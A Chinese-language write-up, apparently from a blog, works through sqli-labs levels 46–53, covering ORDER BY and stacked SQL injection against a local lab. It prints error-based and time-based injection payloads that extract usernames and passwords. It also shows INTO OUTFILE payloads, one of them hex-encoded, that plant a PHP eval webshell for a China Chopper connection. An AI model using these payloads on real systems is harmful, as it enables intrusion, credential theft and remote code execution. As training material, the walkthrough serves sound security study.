写在前面:

关于 order by

例: select * from users order by 1 ;   将users表中的第1列按照从小到大依次排列

   select * from users order by 2 ;   将users表中的第2列按照从小到大依次排列

   ...........

也可以在后面加desc或者asc指定降序或者升序

例: select * from users order by 1 desc  使用降序排列

right() 函数:

和之前盲注用的left函数类似,只是从右往左开始计数。

lines terminated xxx    文件以xxx为结尾

最后写好的文件会以666为结尾。

less 46

观察源码:

发现sql语句为:$sql = "SELECT * FROM users ORDER BY $id";

并且传入的值是sort 将sort赋值给id ,并且参数没有进行包裹

但是这里用union select  有错误 所以下面提供两个方法。

1.报错注入

利用updatexml函数进行报错注入

payload:?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

2.延时注入

?sort=1 and if (left(database(),1)>'a',1,sleep(5)) --+

如果执行成功返回1,执行失败延时5s

剩下的步骤就是挨个名称和字母进行猜解即可。

less 47

与less 46的区别是参数加了单引号包裹,其余步骤一样。

less 48

与less 46相比没有了错误回显,只能使用延时注入。

less 49

与less 48相比 同样没有错误回显,只能使用延时注入,但是注意参数有了单引号包裹。

以上。也可用 into outfile方法 例如:

http://127.0.0.1/sqli-labs-master/Less-49/?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+

可以导出文件,我们下面尝试使用一句话木马进行操作。

?sort=3'and (select '<?php @eval($_POST[zzw]);?>') into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\mmm.php" --+

执行后发现导出的文件和之前的txt的文件没什么区别:

所以这时候就需要用到 lines terminated by 0xXXXXXXXXXXXXXXX

这里将我们上面的一句话木马转换为十六进制。

构造payload为:

?sort=3' into outfile "C:\\phpstudy1\\PHPTutorial\\WWW\\sqli-labs-master\\Less-49\\less-49.php" lines terminated by 0x273c3f70687020406576616c28245f504f53545b7a7a775d293b3f3e27 --+

成功写入了一句话木马,之后连接中国菜刀即可。

从less 50 - less 53 结合了堆叠注入和基于order by 语句的注入

因为这几关使用了mysql_fetch_assoc()函数,这个可以针对多个语句的数据库查询

less 50

1.延时注入:

构造payload:

http://127.0.0.1/sqli-labs-master/Less-50/?sort=3 and if( left(database(),1)>'a',1,sleep(2))

如果正确返回1可以回显查询的表,错误会一直转圈,基本也是猜解

2.报错注入:

构造payload:

?sort=1 and updatexml(1,   concat(0x7e,  (select concat_ws(0x7e,username,password) from security.users limit 0,1) ,0x7e)  ,1) --+

3.使用一句话木马,原理和less 49一致

4.堆叠注入:

?sort=1;insert into users(id,username,password) values('50','less50','50') --+

less 51

与less 50不同的就是 参数被单引号包裹,并且也是有报错回显,注意闭合单引号即可。

less 52

与less 50不同的就是 参数没有被单引号包裹,没有错误回显不可以使用报错注入。注意闭合单引号即可,不再详细赘述

less 53

与less 52基本一致,只是参数被单引号包裹。不能使用报错注入

最新文章

  1. Java动态代理一Proxy
  2. bzoj 1064
  3. nginx学习(一):基本安装
  4. sql 数据库查看主外键关联
  5. 同时执行2个存储过程,2个SP中分别有相同的临时表名,会有冲突吗?
  6. virtualenv 和 virtualenvwrapper 实践
  7. Scala中的Map
  8. Oracle RAC LoadBalance
  9. 基于visual Studio2013解决C语言竞赛题之0507筛选素数
  10. Android 监听SMS短信
  11. FreemarkerJavaDemo【Android将表单数据生成Word文档的方案之一(基于freemarker2.3.28,只能java生成)】
  12. matlab练习程序(渲染三原色)
  13. Linux定是调用shell脚本删除文件
  14. Windows密钥容器和证书的关系
  15. Python_Mix*re模块基础方法,进阶,正则表达式的使用
  16. notepad++取消语法检测
  17. Go学习笔记07-结构体与方法
  18. 简化Getter 与 Setter 的插件 Lombok
  19. TCP 协议相关
  20. Linux:使用互斥量进行线程同步

热门文章

  1. Java:Java的堆区、栈区和方法区详解
  2. 2、nacos
  3. mysql binlog恢复数据实战
  4. maevn的nexus私库搭建
  5. 安装GLPI
  6. 简单DOS命令
  7. 交换机H3C S3100V2-52TP-WiNet
  8. WIN7 32运行提示无法定位api-ms-win-crt-heap-l1-1-0.dll解决方法
  9. Java基础00-反射35
  10. CF459E-DP